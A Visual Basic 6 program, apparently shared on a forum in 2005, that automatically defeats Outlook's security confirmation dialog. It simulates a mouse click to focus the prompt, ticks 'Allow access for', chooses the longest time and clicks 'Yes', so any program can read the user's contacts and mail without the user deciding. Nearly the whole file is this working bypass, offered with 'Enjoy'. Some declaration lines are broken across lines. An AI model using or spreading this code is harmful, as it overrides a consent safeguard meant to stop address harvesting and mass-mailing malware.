' Recent versions of Outlook, as well as a released patch,
' make Outlook prompt the user whenever a remote appliction
' tries to access specific contact information in the Outlook
' Contact database. The user can then decide to allow or not
' allow the application to get that access.
'
' Microsoft took extra care in making sure that a remote
' application could not just get the handle to the popup,
' focus it, and click 'Yes' for the user. In fact, if you try
' that, you will SEE the button getting clicked, but nothing
' happening. I discovered that only when it receives focus
' from the mouse does it allow the buttons to be controlled.
'
' Yes, even BM_CLICK's, WM_LBUTTONDOWN/WM_LBUTTONUP,
' SetActiveWindow, SetForegroundWindow, etc will not do the job
' until focus from a mouseevent is executed.
'
' Thanks to  for pointing me in the right direction
' on functions to use to get access to certain objects.
'
' Enjoy.
'
' - r ! s c (21/01/2005) , Based on code by BasharTeg and sammanna

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
        (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
        (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
        ByVal lParam As Long) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
        (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
        ByVal lpsz2 As String) As Long

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function GetCursorPos Lib "user32" _
    (lpPoint As POINTAPI) As Long

Private Declare Function SetCursorPos Lib "user32" _
    (ByVal X As Long, ByVal Y As Long) As Long

Private Declare Function GetWindowRect Lib "user32" _
    (ByVal hWnd As Long, lpRect As RECT) As Long

Private Declare Sub mouse_event Lib "user32" _
    (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy _
    As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)

Private Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type

Private Type POINTAPI
    X As Long
    Y As Long
End Type


Const WM_ACTIVATE = &H6
Const MA_ACTIVATE = 1

Const BM_CLICK = &HF5
Const BM_SETCHECK = &HF1

Const MOUSEEVENTF_LEFTDOWN = &H2
Const MOUSEEVENTF_LEFTUP = &H4

Const CB_GETCOUNT = &H146
Const CB_SETCURSEL = &H14E


' Mutex Stuff
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" 
(lpMutexAttributes As Any, ByVal bInitialOwner As Long, ByVal lpName As 
String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) 
As Long
Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) 
As Long
Const ERROR_ALREADY_EXISTS = 183&
Dim mutex As Long


Private Sub Form_Load()
    ' Setup a mutex
    SetupMutex

    ' Kill any security popups ;) within the next <Seconds>
    ' This function actually makes any security popups that are active
    ' disabled for 10 minutes. I run this app right before I need
    ' to access any contact database email info. I do not do
    ' this from the program itself since VB doesn't have real
    ' threading (Timers will not work when a call waits which is
    ' what happens upon Outlook's security window popup).
    KillSecurity 3

    ' Exit and close mutex
    Unload Me
    End
End Sub


' Set the security popup to allow us to access contact info
' for the next 10 minutes. This only works if the poup
' is actually up.
Sub KillSecurity(Seconds As Integer)
    Dim hWndParent&, hWndChild&, hWndCheck&, hWndCombo&
    Dim i As Integer
    Dim comboItems As Integer
    Dim mousepos As POINTAPI
    Dim lpRect As RECT

    i = 0
    Do
        hWndParent = 0
        i = i + 1

        ' Get highest parent window handle
        hWndOutlook = FindWindow(vbNullString, "Microsoft Outlook")

        ' Get parent window handle
        hWndParent = FindWindow("#32770", "Microsoft Office Outlook")
        If hWndParent = 0 Then
            hWndParent = FindWindow("#32770", "Microsoft Outlook")
        End If

        ' If we found a handle
        If hWndParent Then
            hWndChild = 0
            hWndCombo = 0
            hWndCheck = 0

            ' Find the 'Yes' button and other things in the security box
            hWndChild = FindWindowEx(hWndParent, 0, "Button", "Yes")
            If hWndChild = 0 Then
                hWndChild = FindWindowEx(hWndParent, 0, "Button", "&Yes")
            End If

            hWndCombo = FindWindowEx(hWndParent, 0, "ComboBox", "")
            hWndCheck = FindWindowEx(hWndParent, 0, "Button", "&Allow access 
for")


            ' If we found the security dialog box, let's own it
            If hWndChild And hWndCheck And hWndCombo Then

                ' Focus Outlook -- Outlook's security patch attempts to
                ' stop intruders just clicking the 'yes' which is why
                ' no one has been able to get around this yet. It only
                ' works if the window is given manual focus from the
                ' mouse, and not a system call like SetForegroundWindow.
                ' I rule.
                Call GetCursorPos(mousepos)
                Call GetWindowRect(hWndParent, lpRect)
                Call SetCursorPos(lpRect.Left + 10, lpRect.Top + 10)
                Call mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
                Call Sleep(0)
                Call mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
                Call SetCursorPos(mousepos.X, mousepos.Y)

                ' Check the 'Allow access for' checkbox
                Call SendMessage(hWndCheck, BM_SETCHECK, 1, 0)

                ' Get number of drop down items
                comboItems = SendMessage(hWndCombo, CB_GETCOUNT, 0, 0)

                ' Set minutes to number of drop down items (0 based)
                Call SendMessage(hWndCombo, CB_SETCURSEL, comboItems - 1, 0)

                ' Click 'Yes'
                Call SendMessage(hWndChild, WM_ACTIVATE, MA_ACTIVATE, 0)
                Call SendMessage(hWndChild, BM_CLICK, 0, 0)
            End If
        End If

        Sleep 50
    Loop While i < Seconds * 20
End Sub




' On unload
Private Sub Form_Unload(Cancel As Integer)
    ReleaseMutex mutex
    CloseHandle mutex
End Sub


' Create mutex
Sub SetupMutex()
    ' set a mutex up
    mutex = CreateMutex(ByVal 0&, 1, "Outsmartmutex")
    If Err.LastDllError = ERROR_ALREADY_EXISTS Then
        ' Clean up
        ReleaseMutex mutex
        CloseHandle mutex

        ' More than one instance detected
        Unload Me
        End
    End If
End Sub